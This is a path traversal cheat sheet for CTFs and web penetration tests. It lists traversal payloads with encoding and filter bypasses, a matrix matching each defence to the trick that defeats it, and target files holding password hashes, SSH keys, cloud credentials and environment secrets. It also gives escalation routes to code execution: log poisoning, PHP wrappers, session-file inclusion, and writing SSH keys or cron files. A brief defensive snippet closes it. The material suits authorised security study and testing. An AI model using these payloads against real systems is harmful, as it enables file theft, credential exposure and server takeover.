Path Traversal
Cheatsheet for CTFs & web pentests. Based on PortSwigger Web Security Academy.
a.k.a. directory traversal — read (sometimes write) arbitrary
files via user-controlled path concatenated into a filesystem call.
See also File Inclusion (LFI/RFI)
and filename/url args of LLM tools.
Where to look
- Image / file viewers:
?filename=,?file=,?path=,?page=,?doc=,?template=,?download=,?img=,?include= - Multipart uploads (
filename=inContent-Disposition) - PDF/report generators, “export”, “print”, logs viewers, theme/locale loaders
- Anything echoing a file’s contents back, or whose response size changes with the param
- LLM tools that take a filename — same bug class
Core payloads
../../../etc/passwd # Unix
..\..\..\windows\win.ini # Windows (also ../ works)
/etc/passwd # absolute path (when ../ stripped)
....//....//....//etc/passwd # nested — survives one-pass strip of ../
....\/....\/....\/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd # URL-encoded ../
%252e%252e%252f...etc/passwd # double URL-encoded (decoded twice)
..%c0%af..%c0%af..%c0%afetc/passwd # overlong UTF-8 /
..%ef%bc%8f # fullwidth /
/var/www/images/../../../etc/passwd # base-dir prefix bypass (start-of-path check)
../../../etc/passwd%00.png # null byte (old PHP / Java <7)
../../../etc/passwd\0.png
../../../etc/passwd#.png ../../../etc/passwd?.png # truncate via fragment/query
Bypass matrix (which trick beats which filter)
| Filter / defense | Bypass |
|---|---|
Strips ../ once, non-recursive |
....//, ....\/,
..././ |
Blocks ../ literal |
URL-encode %2e%2e%2f, double-encode
%252e%252e%252f |
| URL-decodes once then blocks | Double URL-encode |
| Path must start with base dir | BASE/../../../etc/passwd |
Must end with .png/.jpg |
...passwd%00.png, ...passwd\0.png |
| Strips traversal sequences | Absolute path /etc/passwd |
| WAF on path only | Move param to body / JSON / multipart |
Only blocks / |
Try \ (Windows or normalized) |
Only blocks .. |
Symlinks, ./, encoded variants |
| Canonicalization missing | Mixed encodings: ..%2f, %2e%2e/ |
Juicy targets (Linux)
/etc/passwd users
/etc/shadow hashes (need root, but sometimes readable in containers)
/etc/hosts /etc/hostname
/proc/self/environ env vars (often DB creds, secrets)
/proc/self/cmdline /proc/self/status
/proc/self/maps /proc/self/fd/<n>
/var/log/apache2/access.log /var/log/nginx/access.log (LFI→RCE via UA injection)
/var/www/html/<app>/config.php .env wp-config.php
~/.ssh/id_rsa ~/.bash_history ~/.aws/credentials
/root/.ssh/id_rsa
/app/<source>/ app source for further bug hunting
Juicy targets (Windows)
C:\Windows\win.ini C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM (locked while running)
C:\inetpub\wwwroot\web.config
C:\Users\<user>\NTUser.dat
C:\xampp\apache\conf\httpd.conf
Path traversal → RCE upgrades
- Log poisoning: inject PHP/payload via
User-AgentorReferer, then include/var/log/apache2/access.logthrough an LFI sink. /proc/self/environinclude with poisonedUser-Agent(legacy).- PHP wrappers (when sink is
include()not pure read):php://filter/convert.base64-encode/resource=index.php— exfil sourcephp://filter/read=string.rot13/resource=— bypass content filtersdata://text/plain;base64,<b64-php>— direct code execexpect://id,phar://upload.jpg(deserialization)
- Session file include: write payload into your
own session, include
/var/lib/php/sessions/sess_<id>. - Upload + include: any upload path you know on disk → include it.
- SSH key write if writable: append your pubkey
to
~/.ssh/authorized_keys. - Cron / startup file write: drop into
/etc/cron.d/, web app config.
Detection tips
- Differential responses:
?file=foovs?file=../../etc/passwd→ length / status / time delta. - Error messages that leak the joined path → confirms
concatenation pattern
(
Could not open /var/www/images/foo). - 200 with empty body might still be a hit — check Content-Length
and try
view-source. - If response is binary-rendered (e.g. served as image), use
curl -oandfileit. - Burp Intruder → predefined list “Fuzzing - path traversal” (Pro).
- Wordlists:
seclists/Fuzzing/LFI/,seclists/Discovery/Web-Content/burp-parameter-names.txt.
Tools
- Burp Intruder + payload list, Repeater for tweaking
ffuf/wfuzzfor parameter + payload fuzzingdotdotpwn— automated traversal fuzzerLFISuite(legacy) — chains LFI → RCE via wrappers / log poisoningkadimus— LFI exploitation
CTF / pentest checklist
Defence (one-liner)
Don’t pass user input to filesystem APIs. If you must: validate
against allowlist, then canonicalize
(File.getCanonicalPath(), realpath) and
verify the resolved path starts with the intended
base directory.
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
// safe
}